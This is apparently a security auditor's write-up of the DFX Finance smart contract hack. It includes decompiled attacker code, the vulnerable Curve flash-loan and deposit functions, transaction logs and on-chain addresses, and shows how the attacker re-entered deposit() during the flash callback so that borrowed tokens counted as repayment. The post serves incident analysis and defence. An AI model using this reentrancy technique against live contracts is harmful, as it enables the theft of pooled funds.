From the Source: Analysis of DFX Finance Attack



Security Operation / Audit


An analysis of the DFX Finance attack, focusing on the smart contract code. The attacker exploited a vulnerability in the Curve contract that allowed them to re-enter the deposit function and deposit borrowed tokens, which were then treated as repayment. The attack demonstrates the importance of carefully evaluating the impact of each callback and checking dependent state variables to avoid similar problems.


attacker address:0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067

transaction hash:0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

exploit smart contract:0x6cfa86a352339e766ff1ca119c8c40824f41f22d

parameters of this transaction and internal transaction:


a packet of code and Chinese passage:!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq

How to exploit

See the entire decompiled code:

First, the attacker invoked the exploit contract that sets preventive requirements to avert bots front-run his transaction. The decompiled code is simplified, and we ignore some check statements.

function 0xb727281f(uint256 varg0, uint256 varg1) public payable { require(4 + ( — 4)4 >= 64); require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067); stor_5 = varg0; stor_9 = varg1; v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas); RETURNDATACOPY(v1, 0, RETURNDATASIZE()); MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f); if (1 < MEM[v1 + MEM[v1 + 32]]) { if (0 < MEM[v1 + MEM[v1 + 32]]) { 0x34d3(); exit; } } revert(Panic(50)); }

The statement v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas); invokes viewDeposit function, which locates at Curve/contracts/Curve.sol#550

/// @notice view deposits and curves minted a given deposit would return /// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the /// prevailing proportions of the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) { // curvesToMint_, depositsToMake_ return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit); }

roportionalLiquidity.viewProportionalDeposit is one of the functions in the library contract at Curve/contracts/ProportionalLiquidity.sol#78 whose first parameter curve is a complex struct combining an assortment of curve contract attributes. The second is the planned deposited balance. We skim these details, and the reader needs to see that the purpose of this part is to view how many tokens are exchanged if he deposits another token.

Then, the attacker contract executed the following code after many checks that assure the transaction wound success.

function 0x34d3() private { v0 = 0x3774(stor_9, stor_7); v1 = 0x37e1(1000, v0); v2 = _SafeSub(v1, stor_7); v3 = 0x3774(stor_9, _uniswapV3FlashCallback); v4 = 0x37e1(1000, v3); v5 = _SafeSub(v4, _uniswapV3FlashCallback); require(stor_0_0_19.code.size); v6 = stor_0_0_19.flash(address(this), v2, v5,0xcallflash’).gas(msg.gas); require(v6); // checks call status, propagates error data on error require(stor_0_0_19.code.size); v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas); require(v7); // checks call status, propagates error data on error MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f); require(MEM[64] + RETURNDATASIZE() — MEM[64] >= 32); 0x43bd(v8); require(stor_0_0_19.code.size); v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas); require(v9); // checks call status, propagates error data on error return ; }

Functions 0x3774 and 0x37e1 dispose with arithmetical operation. we focus the critical step v6 = stor_0_0_19.flash(address(this), v2, v5, ‘0xcallflash’).gas(msg.gas); and the callee is as follows:

function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external transactable noDelegateCall isNotEmergency { uint256 fee = curve.epsilon.mulu(1e18); require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth'); require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/to ken1-zero-liquidity-depth'); uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18); uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18); uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this)); uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this)); if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0); if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1); IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this)); uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this)); require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned'); require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned'); // sub is safe because we know balanceAfter is gt balanceBefore by at least fee uint256 paid0 = balance0After - balance0Before; uint256 paid1 = balance1After - balance1Before; IERC20(derivatives[0]).safeTransfer(owner, paid0); IERC20(derivatives[1]).safeTransfer(owner, paid1); emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1); }

It is a standard flash loan implementation. What is noteworthy is the line IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); , a callback to the attacker contract whereby it runs the following code( also simplified).

function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable { v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);

Attacker directly reenter the function deposit, with the specfic parameters deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600) . In the function body, it calls the function of the library contract.

/// @notice deposit into the pool with no slippage from the numeraire assets the pool supports /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst /// the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function deposit(uint256 _deposit, uint256 _deadline) external deadline(_deadline) transactable nonReentrant noDelegateCall notInWhitelistingStage isNotEmergency returns (uint256, uint256[] memory) { // (curvesMinted_, deposits_) return ProportionalLiquidity.proportionalDeposit(curve, _deposit); }
function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit) external returns (uint256 curves_, uint256[] memory) { int128 __deposit = _deposit.divu(1e18); uint256 _length = curve.assets.length; uint256[] memory deposits_ = new uint256[](_length); (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve); // Needed to calculate liquidity invariant // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve); // No liquidity, oracle sets the ratio if (_oGLiq == 0) { for (uint256 i = 0; i < _length; i++) { // Variable here to avoid stack-too-deep errors int128 _d = __deposit.mul(curve.weights[i]); deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI)); } } else { // We already have an existing pool ratio // which must be respected int128 _multiplier = __deposit.div(_oGLiq); uint256 _baseWeight = curve.weights[0].mulu(1e18); uint256 _quoteWeight = curve.weights[1].mulu(1e18); for (uint256 i = 0; i < _length; i++) { deposits_[i] = Assimilators.intakeNumeraireLPRatio( curve.assets[i].addr, _baseWeight, _quoteWeight, _oBals[i].mul(_multiplier).add(ONE_WEI) ); } } int128 _totalShells = curve.totalSupply.divu(1e18); int128 _newShells = __deposit; if (_totalShells > 0) { _newShells = __deposit.mul(_totalShells); _newShells = _newShells.div(_oGLiq); } mint(curve, msg.sender, curves_ = _newShells.mulu(1e18)); return (curves_, deposits_); }

The function getGrossLiquidityAndBalancesForDeposit(curve) calculates previous gross liquidity and the summation of assets the contract control. The attacker contract deposit tokens it borrowed from flash loan after calculating the expected deposit balance and LP exchange ratio.

Here are two logs when borrowing tokens.{“from”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“to”:”0x46161158b1947d9149e066d6d31af1283b2d377c”“value”:”2325581395325581"}


Subsequently, the curve funding pool mints token to the attacker contract.{“from”:”0x0000000000000000000000000000000000000000"“to”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“value”:”387023837944937266146579"}

The balances of flash loan contract assets before and after the callback of it:balance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492cbalance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac

balance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1dbalance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac

paid0 = 0xcb0ccb7c0f1paid1 = 0x23c34600

The return tokens are starkly minimal compared to the following borrowed tokens. It demonstrates that the attacker got a large of money from nearly nothing. It retained two tokens, respectively, 0x829b9038770ab and 0x1700f05c00. Repeated the attack process, the attacker exhausted the funding pool.{“from”:”0x46161158b1947d9149e066d6d31af1283b2d377c”“to”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“value”:”0x83669d03f319c”}


Summary: the procedure of this hack event is relevantly simple. The curve contract should not allow reentrance because it did not consider the balance change from its other functions. Generally, carefully evaluate the impact of each callback and check the dependent state variable, whether or not tempered can help avoid such a problem. It is obscure that the flash loan contract fetches balances through a proxy contract and calculates the exchange rate through its ABI-encoded parameters executed by another contract, resulting in a complicated call and return.

The core of the attack is that in the callback function of the curve flash loan, the attacker deposits the borrowed token into the curve contract. Since the curve contract obtains the balance through balance(curve), the deposited token is also regarded as repayment.

Share this article

Tell us about your projects
Contact Us